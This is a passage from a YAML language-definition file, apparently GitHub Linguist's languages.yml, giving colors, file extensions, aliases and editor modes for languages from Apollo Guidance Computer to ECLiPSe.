Guidance Computer:\n  type: programming\n  color: \"#0B3D91\"\n  group: Assembly\n  extensions:\n  - \".agc\"\n  tm_scope: source.agc\n  ace_mode: assembly_x86\n  language_id: 18\nAppleScript:\n  type: programming\n  aliases:\n  - apples\n  - osascript\n  extensions:\n  - \".applescript\"\n  - \".scpt\"\n  interpreters:\n  - osascript\n  tm_scope: source.applescript\n  ace_mode: applescript\n  color: \"#101F1F\"\n  language_id: 19\nArc:\n  type: programming\n  color: \"#aa2afe\"\n  extensions:\n  - \".arc\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 20\nAsciiDoc:\n  type: prose\n  color: \"#73a0c5\"\n  ace_mode: asciidoc\n  wrap: true\n  extensions:\n  - \".asciidoc\"\n  - \".adoc\"\n  - \".asc\"\n  tm_scope: text.html.asciidoc\n  language_id: 22\nAspectJ:\n  type: programming\n  color: \"#a957b0\"\n  extensions:\n  - \".aj\"\n  tm_scope: source.aspectj\n  ace_mode: text\n  language_id: 23\nAssembly:\n  type: programming\n  color: \"#6E4C13\"\n  aliases:\n  - asm\n  - nasm\n  extensions:\n  - \".asm\"\n  - \".a51\"\n  - \".i\"\n  - \".inc\"\n  - \".nas\"\n  - \".nasm\"\n  - \".s\"\n  tm_scope: source.assembly\n  ace_mode: assembly_x86\n  language_id: 24\nAstro:\n  type: markup\n  color: \"#ff5a03\"\n  extensions:\n  - \".astro\"\n  tm_scope: source.astro\n  ace_mode: astro\n  codemirror_mode: jsx\n  codemirror_mime_type: text/jsx\n  language_id: 578209015\nAsymptote:\n  type: programming\n  color: \"#ff0000\"\n  extensions:\n  - \".asy\"\n  interpreters:\n  - asy\n  tm_scope: source.c++\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-kotlin\n  language_id: 591605007\nAugeas:\n  type: programming\n  color: \"#9CC134\"\n  extensions:\n  - \".aug\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 25\nAutoHotkey:\n  type: programming\n  color: \"#6594b9\"\n  aliases:\n  - ahk\n  extensions:\n  - \".ahk\"\n  - \".ahkl\"\n  tm_scope: source.ahk\n  ace_mode: autohotkey\n  language_id: 26\nAutoIt:\n  type: programming\n  color: \"#1C3552\"\n  aliases:\n  - au3\n  - AutoIt3\n  - AutoItScript\n  extensions:\n  - \".au3\"\n  tm_scope: source.autoit\n  ace_mode: autohotkey\n  language_id: 27\nAvro IDL:\n  type: data\n  color: \"#0040FF\"\n  extensions:\n  - \".avdl\"\n  tm_scope: source.avro\n  ace_mode: text\n  language_id: 785497837\nAwk:\n  type: programming\n  color: \"#c30e9b\"\n  extensions:\n  - \".awk\"\n  - \".auk\"\n  - \".gawk\"\n  - \".mawk\"\n  - \".nawk\"\n  interpreters:\n  - awk\n  - gawk\n  - mawk\n  - nawk\n  tm_scope: source.awk\n  ace_mode: text\n  language_id: 28\nB (Formal Method):\n  type: programming\n  color: \"#8aa8c5\"\n  extensions:\n  - \".mch\"\n  tm_scope: source.b\n  ace_mode: text\n  language_id: 700792152\nB4X:\n  type: programming\n  color: \"#00e4ff\"\n  extensions:\n  - \".bas\"\n  tm_scope: source.vba\n  aliases:\n  - basic for android\n  ace_mode: text\n  codemirror_mode: vb\n  codemirror_mime_type: text/x-vb\n  language_id: 96642275\nBASIC:\n  type: programming\n  extensions:\n  - \".bas\"\n  tm_scope: source.basic\n  ace_mode: basic\n  color: \"#ff0000\"\n  language_id: 28923963\nBQN:\n  type: programming\n  color: \"#2b7067\"\n  extensions:\n  - \".bqn\"\n  tm_scope: source.bqn\n  ace_mode: text\n  language_id: 330386870\nBallerina:\n  type: programming\n  extensions:\n  - \".bal\"\n  tm_scope: source.ballerina\n  ace_mode: text\n  color: \"#FF5000\"\n  language_id: 720859680\nBatchfile:\n  type: programming\n  aliases:\n  - bat\n  - batch\n  - dosbatch\n  - winbatch\n  extensions:\n  - \".bat\"\n  - \".cmd\"\n  filenames:\n  - gradlew.bat\n  - mvnw.cmd\n  tm_scope: source.batchfile\n  ace_mode: batchfile\n  color: \"#C1F12E\"\n  language_id: 29\nBeef:\n  type: programming\n  color: \"#a52f4e\"\n  extensions:\n  - \".bf\"\n  tm_scope: source.cs\n  ace_mode: csharp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csharp\n  language_id: 545626333\nBefunge:\n  type: programming\n  extensions:\n  - \".befunge\"\n  - \".bf\"\n  tm_scope: source.befunge\n  ace_mode: text\n  language_id: 30\nBerry:\n  type: programming\n  extensions:\n  - \".be\"\n  tm_scope: source.berry\n  ace_mode: text\n  color: \"#15A13C\"\n  aliases:\n  - be\n  language_id: 121855308\nBibTeX:\n  type: markup\n  color: \"#778899\"\n  group: TeX\n  extensions:\n  - \".bib\"\n  - \".bibtex\"\n  tm_scope: text.bibtex\n  ace_mode: bibtex\n  codemirror_mode: stex\n  codemirror_mime_type: text/x-stex\n  language_id: 982188347\nBibTeX Style:\n  type: programming\n  extensions:\n  - \".bst\"\n  tm_scope: source.bst\n  ace_mode: text\n  language_id: 909569041\nBicep:\n  type: programming\n  color: \"#519aba\"\n  extensions:\n  - \".bicep\"\n  - \".bicepparam\"\n  tm_scope: source.bicep\n  ace_mode: text\n  language_id: 321200902\nBikeshed:\n  type: markup\n  color: \"#5562ac\"\n  extensions:\n  - \".bs\"\n  tm_scope: source.csswg\n  ace_mode: html\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  language_id: 1055528081\nBison:\n  type: programming\n  color: \"#6A463F\"\n  group: Yacc\n  tm_scope: source.yacc\n  extensions:\n  - \".bison\"\n  ace_mode: text\n  language_id: 31\nBitBake:\n  type: programming\n  color: \"#00bce4\"\n  tm_scope: source.bb\n  extensions:\n  - \".bb\"\n  - \".bbappend\"\n  - \".bbclass\"\n  - \".inc\"\n  ace_mode: text\n  language_id: 32\nBlade:\n  type: markup\n  color: \"#f7523f\"\n  extensions:\n  - \".blade\"\n  - \".blade.php\"\n  tm_scope: text.html.php.blade\n  ace_mode: php_laravel_blade\n  language_id: 33\nBlitzBasic:\n  type: programming\n  color: \"#00FFAE\"\n  aliases:\n  - b3d\n  - blitz3d\n  - blitzplus\n  - bplus\n  extensions:\n  - \".bb\"\n  - \".decls\"\n  tm_scope: source.blitzmax\n  ace_mode: text\n  language_id: 34\nBlitzMax:\n  type: programming\n  color: \"#cd6400\"\n  extensions:\n  - \".bmx\"\n  aliases:\n  - bmax\n  tm_scope: source.blitzmax\n  ace_mode: text\n  language_id: 35\nBluespec:\n  type: programming\n  color: \"#12223c\"\n  extensions:\n  - \".bsv\"\n  aliases:\n  - bluespec bsv\n  - bsv\n  tm_scope: source.bsv\n  ace_mode: verilog\n  codemirror_mode: verilog\n  codemirror_mime_type: text/x-systemverilog\n  language_id: 36\nBluespec BH:\n  type: programming\n  group: Bluespec\n  color: \"#12223c\"\n  extensions:\n  - \".bs\"\n  aliases:\n  - bh\n  - bluespec classic\n  tm_scope: source.bh\n  ace_mode: haskell\n  codemirror_mode: haskell\n  codemirror_mime_type: text/x-haskell\n  language_id: 641580358\nBoo:\n  type: programming\n  color: \"#d4bec1\"\n  extensions:\n  - \".boo\"\n  ace_mode: text\n  tm_scope: source.boo\n  language_id: 37\nBoogie:\n  type: programming\n  color: \"#c80fa0\"\n  extensions:\n  - \".bpl\"\n  interpreters:\n  - boogie\n  tm_scope: source.boogie\n  ace_mode: text\n  language_id: 955017407\nBrainfuck:\n  type: programming\n  color: \"#2F2530\"\n  extensions:\n  - \".b\"\n  - \".bf\"\n  tm_scope: source.bf\n  ace_mode: text\n  codemirror_mode: brainfuck\n  codemirror_mime_type: text/x-brainfuck\n  language_id: 38\nBrighterScript:\n  type: programming\n  color: \"#66AABB\"\n  extensions:\n  - \".bs\"\n  tm_scope: source.brs\n  ace_mode: text\n  language_id: 943571030\nBrightscript:\n  type: programming\n  color: \"#662D91\"\n  extensions:\n  - \".brs\"\n  tm_scope: source.brs\n  ace_mode: text\n  language_id: 39\nBrowserslist:\n  type: data\n  color: \"#ffd539\"\n  filenames:\n  - \".browserslistrc\"\n  - browserslist\n  tm_scope: text.browserslist\n  ace_mode: text\n  language_id: 153503348\nBru:\n  type: markup\n  color: \"#F4AA41\"\n  extensions:\n  - \".bru\"\n  tm_scope: source.bru\n  ace_mode: text\n  language_id: 906627898\nBuildStream:\n  type: data\n  color: \"#006bff\"\n  extensions:\n  - \".bst\"\n  tm_scope: source.yaml\n  ace_mode: yaml\n  language_id: 84359046\nC:\n  type: programming\n  color: \"#555555\"\n  extensions:\n  - \".c\"\n  - \".cats\"\n  - \".h\"\n  - \".h.in\"\n  - \".idc\"\n  interpreters:\n  - tcc\n  tm_scope: source.c\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 41\nC#:\n  type: programming\n  ace_mode: csharp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csharp\n  tm_scope: source.cs\n  color: \"#178600\"\n  aliases:\n  - csharp\n  - cake\n  - cakescript\n  extensions:\n  - \".cs\"\n  - \".cake\"\n  - \".cs.pp\"\n  - \".csx\"\n  - \".linq\"\n  language_id: 42\nC++:\n  type: programming\n  tm_scope: source.c++\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-c++src\n  color: \"#f34b7d\"\n  aliases:\n  - cpp\n  extensions:\n  - \".cpp\"\n  - \".c++\"\n  - \".cc\"\n  - \".cp\"\n  - \".cppm\"\n  - \".cxx\"\n  - \".h\"\n  - \".h++\"\n  - \".hh\"\n  - \".hpp\"\n  - \".hxx\"\n  - \".inc\"\n  - \".inl\"\n  - \".ino\"\n  - \".ipp\"\n  - \".ixx\"\n  - \".re\"\n  - \".tcc\"\n  - \".tpp\"\n  - \".txx\"\n  language_id: 43\nC-ObjDump:\n  type: data\n  extensions:\n  - \".c-objdump\"\n  tm_scope: objdump.x86asm\n  ace_mode: assembly_x86\n  language_id: 44\nC2hs Haskell:\n  type: programming\n  group: Haskell\n  aliases:\n  - c2hs\n  extensions:\n  - \".chs\"\n  tm_scope: source.haskell\n  ace_mode: haskell\n  codemirror_mode: haskell\n  codemirror_mime_type: text/x-haskell\n  language_id: 45\nC3:\n  type: programming\n  color: \"#2563eb\"\n  extensions:\n  - \".c3\"\n  tm_scope: source.c3\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 769248603\nCAP CDS:\n  type: programming\n  tm_scope: source.cds\n  color: \"#0092d1\"\n  aliases:\n  - cds\n  extensions:\n  - \".cds\"\n  ace_mode: text\n  language_id: 390788699\nCIL:\n  type: data\n  tm_scope: source.cil\n  extensions:\n  - \".cil\"\n  ace_mode: text\n  language_id: 29176339\nCLIPS:\n  type: programming\n  color: \"#00A300\"\n  extensions:\n  - \".clp\"\n  tm_scope: source.clips\n  ace_mode: text\n  language_id: 46\nCMake:\n  type: programming\n  color: \"#DA3434\"\n  extensions:\n  - \".cmake\"\n  - \".cmake.in\"\n  filenames:\n  - CMakeLists.txt\n  tm_scope: source.cmake\n  ace_mode: text\n  codemirror_mode: cmake\n  codemirror_mime_type: text/x-cmake\n  language_id: 47\nCOBOL:\n  type: programming\n  extensions:\n  - \".cob\"\n  - \".cbl\"\n  - \".ccp\"\n  - \".cobol\"\n  - \".cpy\"\n  tm_scope: source.cobol\n  ace_mode: cobol\n  codemirror_mode: cobol\n  codemirror_mime_type: text/x-cobol\n  language_id: 48\nCODEOWNERS:\n  type: data\n  filenames:\n  - CODEOWNERS\n  tm_scope: text.codeowners\n  ace_mode: gitignore\n  language_id: 321684729\nCOLLADA:\n  type: data\n  color: \"#F1A42B\"\n  extensions:\n  - \".dae\"\n  tm_scope: text.xml\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  language_id: 49\nCQL:\n  type: programming\n  color: \"#006091\"\n  extensions:\n  - \".cql\"\n  tm_scope: source.cql\n  ace_mode: text\n  language_id: 71155397\nCSON:\n  type: data\n  color: \"#244776\"\n  tm_scope: source.coffee\n  ace_mode: coffee\n  codemirror_mode: coffeescript\n  codemirror_mime_type: text/x-coffeescript\n  extensions:\n  - \".cson\"\n  language_id: 424\nCSS:\n  type: markup\n  tm_scope: source.css\n  ace_mode: css\n  codemirror_mode: css\n  codemirror_mime_type: text/css\n  color: \"#663399\"\n  extensions:\n  - \".css\"\n  language_id: 50\nCSV:\n  type: data\n  color: \"#237346\"\n  ace_mode: csv\n  tm_scope: source.csv\n  extensions:\n  - \".csv\"\n  language_id: 51\nCUE:\n  type: programming\n  extensions:\n  - \".cue\"\n  tm_scope: source.cue\n  ace_mode: text\n  color: \"#5886E1\"\n  language_id: 356063509\nCWeb:\n  type: programming\n  color: \"#00007a\"\n  extensions:\n  - \".w\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 657332628\nCabal Config:\n  type: data\n  color: \"#483465\"\n  aliases:\n  - Cabal\n  extensions:\n  - \".cabal\"\n  filenames:\n  - cabal.config\n  - cabal.project\n  ace_mode: haskell_cabal\n  codemirror_mode: haskell\n  codemirror_mime_type: text/x-haskell\n  tm_scope: source.cabal\n  language_id: 677095381\nCaddyfile:\n  type: data\n  color: \"#22b638\"\n  aliases:\n  - Caddy\n  extensions:\n  - \".caddyfile\"\n  filenames:\n  - Caddyfile\n  ace_mode: text\n  tm_scope: source.Caddyfile\n  language_id: 615465151\nCadence:\n  type: programming\n  color: \"#00ef8b\"\n  ace_mode: text\n  tm_scope: source.cadence\n  extensions:\n  - \".cdc\"\n  language_id: 270184138\nCairo:\n  type: programming\n  color: \"#ff4a48\"\n  ace_mode: text\n  tm_scope: source.cairo\n  extensions:\n  - \".cairo\"\n  group: Cairo\n  language_id: 620599567\nCairo Zero:\n  type: programming\n  color: \"#ff4a48\"\n  ace_mode: text\n  tm_scope: source.cairo0\n  extensions:\n  - \".cairo\"\n  group: Cairo\n  language_id: 891399890\nCameLIGO:\n  type: programming\n  color: \"#3be133\"\n  extensions:\n  - \".mligo\"\n  tm_scope: source.mligo\n  ace_mode: ocaml\n  codemirror_mode: mllike\n  codemirror_mime_type: text/x-ocaml\n  group: LigoLANG\n  language_id: 829207807\nCangjie:\n  type: programming\n  tm_scope: source.cj\n  extensions:\n  - \".cj\"\n  color: \"#00868B\"\n  ace_mode: swift\n  codemirror_mode: swift\n  codemirror_mime_type: text/x-swift\n  language_id: 581895317\nCap'n Proto:\n  type: programming\n  color: \"#c42727\"\n  tm_scope: source.capnp\n  extensions:\n  - \".capnp\"\n  ace_mode: text\n  language_id: 52\nCarbon:\n  type: programming\n  color: \"#222222\"\n  extensions:\n  - \".carbon\"\n  ace_mode: golang\n  codemirror_mode: go\n  codemirror_mime_type: text/x-go\n  tm_scope: source.v\n  language_id: 55627273\nCartoCSS:\n  type: programming\n  aliases:\n  - Carto\n  extensions:\n  - \".mss\"\n  ace_mode: text\n  tm_scope: source.css.mss\n  language_id: 53\nCeylon:\n  type: programming\n  color: \"#dfa535\"\n  extensions:\n  - \".ceylon\"\n  tm_scope: source.ceylon\n  ace_mode: text\n  language_id: 54\nChapel:\n  type: programming\n  color: \"#8dc63f\"\n  aliases:\n  - chpl\n  extensions:\n  - \".chpl\"\n  tm_scope: source.chapel\n  ace_mode: text\n  language_id: 55\nCharity:\n  type: programming\n  extensions:\n  - \".ch\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 56\nChecksums:\n  type: data\n  tm_scope: text.checksums\n  aliases:\n  - checksum\n  - hash\n  - hashes\n  - sum\n  - sums\n  filenames:\n  - MD5SUMS\n  - SHA1SUMS\n  - SHA256SUMS\n  - SHA256SUMS.txt\n  - SHA512SUMS\n  - checksums.txt\n  - cksums\n  - md5sum.txt\n  extensions:\n  - \".crc32\"\n  - \".md2\"\n  - \".md4\"\n  - \".md5\"\n  - \".sha1\"\n  - \".sha2\"\n  - \".sha224\"\n  - \".sha256\"\n  - \".sha256sum\"\n  - \".sha3\"\n  - \".sha384\"\n  - \".sha512\"\n  ace_mode: text\n  language_id: 372063053\nChucK:\n  type: programming\n  color: \"#3f8000\"\n  extensions:\n  - \".ck\"\n  tm_scope: source.java\n  ace_mode: java\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-java\n  language_id: 57\nCircom:\n  type: programming\n  ace_mode: text\n  extensions:\n  - \".circom\"\n  color: \"#707575\"\n  tm_scope: source.circom\n  language_id: 1042332086\nCirru:\n  type: programming\n  color: \"#ccccff\"\n  tm_scope: source.cirru\n  ace_mode: cirru\n  extensions:\n  - \".cirru\"\n  language_id: 58\nClarion:\n  type: programming\n  color: \"#db901e\"\n  ace_mode: text\n  extensions:\n  - \".clw\"\n  tm_scope: source.clarion\n  language_id: 59\nClarity:\n  type: programming\n  color: \"#5546ff\"\n  ace_mode: lisp\n  extensions:\n  - \".clar\"\n  tm_scope: source.clar\n  language_id: 91493841\nClassic ASP:\n  type: programming\n  color: \"#6a40fd\"\n  tm_scope: text.html.asp\n  aliases:\n  - asp\n  extensions:\n  - \".asp\"\n  ace_mode: text\n  language_id: 8\nClean:\n  type: programming\n  color: \"#3F85AF\"\n  extensions:\n  - \".icl\"\n  - \".dcl\"\n  tm_scope: source.clean\n  ace_mode: text\n  language_id: 60\nClick:\n  type: programming\n  color: \"#E4E6F3\"\n  extensions:\n  - \".click\"\n  tm_scope: source.click\n  ace_mode: text\n  language_id: 61\nClojure:\n  type: programming\n  tm_scope: source.clojure\n  ace_mode: clojure\n  codemirror_mode: clojure\n  codemirror_mime_type: text/x-clojure\n  color: \"#db5855\"\n  extensions:\n  - \".clj\"\n  - \".bb\"\n  - \".boot\"\n  - \".cl2\"\n  - \".cljc\"\n  - \".cljs\"\n  - \".cljs.hl\"\n  - \".cljscm\"\n  - \".cljx\"\n  - \".hic\"\n  filenames:\n  - riemann.config\n  interpreters:\n  - bb\n  language_id: 62\nClosure Templates:\n  type: markup\n  color: \"#0d948f\"\n  ace_mode: soy_template\n  codemirror_mode: soy\n  codemirror_mime_type: text/x-soy\n  aliases:\n  - soy\n  extensions:\n  - \".soy\"\n  tm_scope: text.html.soy\n  language_id: 357046146\nCloud Firestore Security Rules:\n  type: data\n  color: \"#FFA000\"\n  ace_mode: less\n  codemirror_mode: css\n  codemirror_mime_type: text/css\n  tm_scope: source.firestore\n  filenames:\n  - firestore.rules\n  language_id: 407996372\nClue:\n  type: programming\n  color: \"#0009b5\"\n  extensions:\n  - \".clue\"\n  tm_scope: source.clue\n  ace_mode: text\n  language_id: 163763508\nCoNLL-U:\n  type: data\n  extensions:\n  - \".conllu\"\n  - \".conll\"\n  tm_scope: text.conllu\n  ace_mode: text\n  aliases:\n  - CoNLL\n  - CoNLL-X\n  language_id: 421026389\nCodeQL:\n  type: programming\n  color: \"#140f46\"\n  extensions:\n  - \".ql\"\n  - \".qll\"\n  tm_scope: source.ql\n  ace_mode: text\n  language_id: 424259634\n  aliases:\n  - ql\nCoffeeScript:\n  type: programming\n  tm_scope: source.coffee\n  ace_mode: coffee\n  codemirror_mode: coffeescript\n  codemirror_mime_type: text/x-coffeescript\n  color: \"#244776\"\n  aliases:\n  - coffee\n  - coffee-script\n  extensions:\n  - \".coffee\"\n  - \"._coffee\"\n  - \".cake\"\n  - \".cjsx\"\n  - \".iced\"\n  filenames:\n  - Cakefile\n  interpreters:\n  - coffee\n  language_id: 63\nColdFusion:\n  type: programming\n  ace_mode: coldfusion\n  color: \"#ed2cd6\"\n  aliases:\n  - cfm\n  - cfml\n  - coldfusion html\n  extensions:\n  - \".cfm\"\n  - \".cfml\"\n  tm_scope: text.html.cfm\n  language_id: 64\nColdFusion CFC:\n  type: programming\n  color: \"#ed2cd6\"\n  group: ColdFusion\n  ace_mode: coldfusion\n  aliases:\n  - cfc\n  extensions:\n  - \".cfc\"\n  tm_scope: source.cfscript\n  language_id: 65\nCommon Lisp:\n  type: programming\n  tm_scope: source.commonlisp\n  color: \"#3fb68b\"\n  aliases:\n  - lisp\n  extensions:\n  - \".lisp\"\n  - \".asd\"\n  - \".cl\"\n  - \".l\"\n  - \".lsp\"\n  - \".ny\"\n  - \".podsl\"\n  - \".sexp\"\n  interpreters:\n  - lisp\n  - sbcl\n  - ccl\n  - clisp\n  - ecl\n  ace_mode: lisp\n  codemirror_mode: commonlisp\n  codemirror_mime_type: text/x-common-lisp\n  language_id: 66\nCommon Workflow Language:\n  aliases:\n  - cwl\n  type: programming\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  extensions:\n  - \".cwl\"\n  interpreters:\n  - cwl-runner\n  color: \"#B5314C\"\n  tm_scope: source.cwl\n  language_id: 988547172\nComponent Pascal:\n  type: programming\n  color: \"#B0CE4E\"\n  extensions:\n  - \".cp\"\n  - \".cps\"\n  tm_scope: source.pascal\n  ace_mode: pascal\n  codemirror_mode: pascal\n  codemirror_mime_type: text/x-pascal\n  language_id: 67\nCooklang:\n  type: markup\n  color: \"#E15A29\"\n  wrap: true\n  extensions:\n  - \".cook\"\n  ace_mode: text\n  tm_scope: source.cooklang\n  language_id: 788037493\nCool:\n  type: programming\n  extensions:\n  - \".cl\"\n  tm_scope: source.cool\n  ace_mode: text\n  language_id: 68\nCpp-ObjDump:\n  type: data\n  extensions:\n  - \".cppobjdump\"\n  - \".c++-objdump\"\n  - \".c++objdump\"\n  - \".cpp-objdump\"\n  - \".cxx-objdump\"\n  tm_scope: objdump.x86asm\n  aliases:\n  - c++-objdump\n  ace_mode: assembly_x86\n  language_id: 70\nCreole:\n  type: prose\n  wrap: true\n  extensions:\n  - \".creole\"\n  tm_scope: text.html.creole\n  ace_mode: text\n  language_id: 71\nCrystal:\n  type: programming\n  color: \"#000100\"\n  extensions:\n  - \".cr\"\n  ace_mode: crystal\n  codemirror_mode: crystal\n  codemirror_mime_type: text/x-crystal\n  tm_scope: source.crystal\n  interpreters:\n  - crystal\n  language_id: 72\nCsound:\n  type: programming\n  color: \"#1a1a1a\"\n  aliases:\n  - csound-orc\n  extensions:\n  - \".orc\"\n  - \".udo\"\n  tm_scope: source.csound\n  ace_mode: csound_orchestra\n  language_id: 73\nCsound Document:\n  type: programming\n  color: \"#1a1a1a\"\n  aliases:\n  - csound-csd\n  extensions:\n  - \".csd\"\n  tm_scope: source.csound-document\n  ace_mode: csound_document\n  language_id: 74\nCsound Score:\n  type: programming\n  color: \"#1a1a1a\"\n  aliases:\n  - csound-sco\n  extensions:\n  - \".sco\"\n  tm_scope: source.csound-score\n  ace_mode: csound_score\n  language_id: 75\nCuda:\n  type: programming\n  extensions:\n  - \".cu\"\n  - \".cuh\"\n  tm_scope: source.cuda-c++\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-c++src\n  color: \"#3A4E3A\"\n  language_id: 77\nCue Sheet:\n  type: data\n  extensions:\n  - \".cue\"\n  tm_scope: source.cuesheet\n  ace_mode: text\n  language_id: 942714150\nCurry:\n  type: programming\n  color: \"#531242\"\n  extensions:\n  - \".curry\"\n  tm_scope: source.curry\n  ace_mode: haskell\n  language_id: 439829048\nCycript:\n  type: programming\n  extensions:\n  - \".cy\"\n  tm_scope: source.js\n  ace_mode: javascript\n  codemirror_mode: javascript\n  codemirror_mime_type: text/javascript\n  language_id: 78\nCylc:\n  type: data\n  color: \"#00b3fd\"\n  extensions:\n  - \".cylc\"\n  filenames:\n  - suite.rc\n  tm_scope: source.cylc\n  ace_mode: ini\n  group: INI\n  language_id: 476447814\nCypher:\n  type: programming\n  color: \"#34c0eb\"\n  extensions:\n  - \".cyp\"\n  - \".cypher\"\n  tm_scope: source.cypher\n  codemirror_mode: cypher\n  codemirror_mime_type: application/x-cypher-query\n  ace_mode: text\n  language_id: 850806976\nCython:\n  type: programming\n  color: \"#fedf5b\"\n  extensions:\n  - \".pyx\"\n  - \".pxd\"\n  - \".pxi\"\n  aliases:\n  - pyrex\n  tm_scope: source.cython\n  ace_mode: text\n  codemirror_mode: python\n  codemirror_mime_type: text/x-cython\n  language_id: 79\nD:\n  type: programming\n  color: \"#ba595e\"\n  aliases:\n  - Dlang\n  extensions:\n  - \".d\"\n  - \".di\"\n  tm_scope: source.d\n  ace_mode: d\n  codemirror_mode: d\n  codemirror_mime_type: text/x-d\n  language_id: 80\nD-ObjDump:\n  type: data\n  extensions:\n  - \".d-objdump\"\n  tm_scope: objdump.x86asm\n  ace_mode: assembly_x86\n  language_id: 81\nD2:\n  type: markup\n  color: \"#526ee8\"\n  extensions:\n  - \".d2\"\n  aliases:\n  - d2lang\n  tm_scope: source.d2\n  ace_mode: text\n  language_id: 37531557\nDIGITAL Command Language:\n  type: programming\n  aliases:\n  - dcl\n  extensions:\n  - \".com\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 82\nDM:\n  type: programming\n  color: \"#447265\"\n  extensions:\n  - \".dm\"\n  aliases:\n  - byond\n  tm_scope: source.dm\n  ace_mode: c_cpp\n  language_id: 83\nDNS Zone:\n  type: data\n  extensions:\n  - \".zone\"\n  - \".arpa\"\n  tm_scope: text.zone_file\n  ace_mode: text\n  language_id: 84\nDTrace:\n  type: programming\n  aliases:\n  - dtrace-script\n  extensions:\n  - \".d\"\n  interpreters:\n  - dtrace\n  tm_scope: source.c\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 85\nDafny:\n  type: programming\n  color: \"#FFEC25\"\n  extensions:\n  - \".dfy\"\n  interpreters:\n  - dafny\n  tm_scope: text.dfy.dafny\n  ace_mode: text\n  language_id: 969323346\nDarcs Patch:\n  type: data\n  color: \"#8eff23\"\n  aliases:\n  - dpatch\n  extensions:\n  - \".darcspatch\"\n  - \".dpatch\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 86\nDart:\n  type: programming\n  color: \"#00B4AB\"\n  extensions:\n  - \".dart\"\n  interpreters:\n  - dart\n  tm_scope: source.dart\n  ace_mode: dart\n  codemirror_mode: dart\n  codemirror_mime_type: application/dart\n  language_id: 87\nDaslang:\n  type: programming\n  color: \"#d3d3d3\"\n  extensions:\n  - \".das\"\n  tm_scope: source.daslang\n  ace_mode: text\n  language_id: 648759486\nDataWeave:\n  type: programming\n  color: \"#003a52\"\n  extensions:\n  - \".dwl\"\n  ace_mode: text\n  tm_scope: source.data-weave\n  language_id: 974514097\nDebian Package Control File:\n  type: data\n  color: \"#D70751\"\n  extensions:\n  - \".dsc\"\n  tm_scope: source.deb-control\n  ace_mode: text\n  language_id: 527438264\nDenizenScript:\n  type: programming\n  color: \"#FBEE96\"\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  extensions:\n  - \".dsc\"\n  tm_scope: source.denizenscript\n  language_id: 435000929\nDhall:\n  type: programming\n  color: \"#dfafff\"\n  extensions:\n  - \".dhall\"\n  tm_scope: source.haskell\n  ace_mode: haskell\n  codemirror_mode: haskell\n  codemirror_mime_type: text/x-haskell\n  language_id: 793969321\nDiff:\n  type: data\n  extensions:\n  - \".diff\"\n  - \".patch\"\n  aliases:\n  - udiff\n  tm_scope: source.diff\n  ace_mode: diff\n  codemirror_mode: diff\n  codemirror_mime_type: text/x-diff\n  language_id: 88\nDirectX 3D File:\n  type: data\n  color: \"#aace60\"\n  extensions:\n  - \".x\"\n  ace_mode: text\n  tm_scope: none\n  language_id: 201049282\nDockerfile:\n  type: programming\n  aliases:\n  - Containerfile\n  color: \"#384d54\"\n  tm_scope: source.dockerfile\n  extensions:\n  - \".dockerfile\"\n  - \".containerfile\"\n  filenames:\n  - Containerfile\n  - Dockerfile\n  ace_mode: dockerfile\n  codemirror_mode: dockerfile\n  codemirror_mime_type: text/x-dockerfile\n  language_id: 89\nDogescript:\n  type: programming\n  color: \"#cca760\"\n  extensions:\n  - \".djs\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 90\nDotenv:\n  type: data\n  color: \"#e5d559\"\n  extensions:\n  - \".env\"\n  filenames:\n  - \".env\"\n  - \".env.ci\"\n  - \".env.dev\"\n  - \".env.development\"\n  - \".env.development.local\"\n  - \".env.example\"\n  - \".env.local\"\n  - \".env.prod\"\n  - \".env.production\"\n  - \".env.sample\"\n  - \".env.staging\"\n  - \".env.template\"\n  - \".env.test\"\n  - \".env.testing\"\n  tm_scope: source.dotenv\n  ace_mode: text\n  language_id: 111148035\nDune:\n  type: programming\n  ace_mode: lisp\n  filenames:\n  - dune-project\n  tm_scope: source.dune\n  color: \"#89421e\"\n  language_id: 754574151\nDylan:\n  type: programming\n  color: \"#6c616e\"\n  extensions:\n  - \".dylan\"\n  - \".dyl\"\n  - \".intr\"\n  - \".lid\"\n  tm_scope: source.dylan\n  ace_mode: text\n  codemirror_mode: dylan\n  codemirror_mime_type: text/x-dylan\n  language_id: 91\nE:\n  type: programming\n  color: \"#ccce35\"\n  extensions:\n  - \".e\"\n  interpreters:\n  - rune\n  tm_scope: none\n  ace_mode: text\n  language_id: 92\nE-mail:\n  type: data\n  aliases:\n  - email\n  - eml\n  - mail\n  - mbox\n  extensions:\n  - \".eml\"\n  - \".mbox\"\n  tm_scope: text.eml.basic\n  ace_mode: text\n  codemirror_mode: mbox\n  codemirror_mime_type: application/mbox\n  language_id: 529653389\nEBNF:\n  type: data\n  extensions:\n  - \".ebnf\"\n  tm_scope: source.ebnf\n  ace_mode: text\n  codemirror_mode: ebnf\n  codemirror_mime_type: text/x-ebnf\n  language_id: 430\nECL:\n  type: programming\n  color: \"#8a1267\"\n  extensions:\n  - \".ecl\"\n  - \".eclxml\"\n  tm_scope: source.ecl\n  ace_mode: text\n  codemirror_mode: ecl\n  codemirror_mime_type: text/x-ecl\n  language_id: 93\nECLiPSe:\n  type: programming\n  color: \"#001d9d\"\n  group: Prolog\n  extensions:\n  - 